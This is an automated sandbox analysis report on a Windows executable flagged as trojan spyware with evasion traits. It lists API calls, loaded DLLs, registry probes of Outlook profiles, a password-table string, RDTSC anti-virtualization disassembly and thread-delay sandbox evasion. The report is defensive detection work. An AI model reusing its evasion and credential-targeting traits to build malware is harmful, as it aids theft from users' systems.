Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A2551	4_2_387A2551
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A9D00	4_2_387A9D00
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A4DB2	4_2_387A4DB2
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A4DB0	4_2_387A4DB0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A5660	4_2_387A5660
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A565F	4_2_387A565F
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A8640	4_2_387A8640
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A2E10	4_2_387A2E10
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A36C0	4_2_387A36C0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A96B8	4_2_387A96B8
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A36B0	4_2_387A36B0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A3F70	4_2_387A3F70
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A3F60	4_2_387A3F60
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A5F10	4_2_387A5F10
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387AAFF8	4_2_387AAFF8
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387AAFF7	4_2_387AAFF7
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A67C0	4_2_387A67C0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A67B0	4_2_387A67B0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A0FA8	4_2_387A0FA8
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_390E6FA0	4_2_390E6FA0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_390E0457	4_2_390E0457
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_390EE7C8	4_2_390EE7C8
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_390ED6C1	4_2_390ED6C1
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_390E8328	4_2_390E8328

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Code function: String function: 00402C41 appears 51 times

Source: ZaRP7yvL1J.exe, 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs ZaRP7yvL1J.exe
Source: ZaRP7yvL1J.exe, 00000004.00000000.2361500694.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs ZaRP7yvL1J.exe
Source: ZaRP7yvL1J.exe, 00000004.00000002.2950113387.0000000035BD7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs ZaRP7yvL1J.exe
Source: ZaRP7yvL1J.exe, 00000004.00000002.2932353178.0000000005803000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs ZaRP7yvL1J.exe
Source: ZaRP7yvL1J.exe	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs ZaRP7yvL1J.exe

Source: ZaRP7yvL1J.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004034A5

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Code function: 0_2_00404850 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404850

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Code function: 0_2_00402104 CoCreateInstance,

0_2_00402104

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

File created: C:\Users\user\AppData\Local\Iw

Jump to behavior

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

File created: C:\Users\user\AppData\Local\Temp\nsyB6C8.tmp

Jump to behavior

Source: ZaRP7yvL1J.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035E15000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035E23000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035E05000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: ZaRP7yvL1J.exe	ReversingLabs: Detection: 57%
Source: ZaRP7yvL1J.exe	Virustotal: Detection: 75%

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

File read: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ZaRP7yvL1J.exe "C:\Users\user\Desktop\ZaRP7yvL1J.exe"
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process created: C:\Users\user\Desktop\ZaRP7yvL1J.exe "C:\Users\user\Desktop\ZaRP7yvL1J.exe"
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process created: C:\Users\user\Desktop\ZaRP7yvL1J.exe "C:\Users\user\Desktop\ZaRP7yvL1J.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: ZaRP7yvL1J.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Code function: 0_2_6F951B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6F951B5F

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

File created: C:\Users\user\AppData\Local\Temp\nszB803.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	API/Special instruction interceptor: Address: 617FC22
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	API/Special instruction interceptor: Address: 461FC22

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	RDTSC instruction interceptor: First address: 6141F67 second address: 6141F67 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F1A08CF01A2h 0x00000006 test ecx, ebx 0x00000008 test cx, ax 0x0000000b inc ebp 0x0000000c inc ebx 0x0000000d test bx, cx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	RDTSC instruction interceptor: First address: 45E1F67 second address: 45E1F67 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F1A08F67CF2h 0x00000006 test ecx, ebx 0x00000008 test cx, ax 0x0000000b inc ebp 0x0000000c inc ebx 0x0000000d test bx, cx 0x00000010 rdtsc

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Memory allocated: D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Memory allocated: 35D20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Memory allocated: 37D20000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 599843	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 599652	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598450	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598339	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 597794	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 597204	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 597082	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596945	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596843	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596624	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596515	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596296	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595965	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595640	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595421	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595093	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 594874	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 594765	Jump to behavior
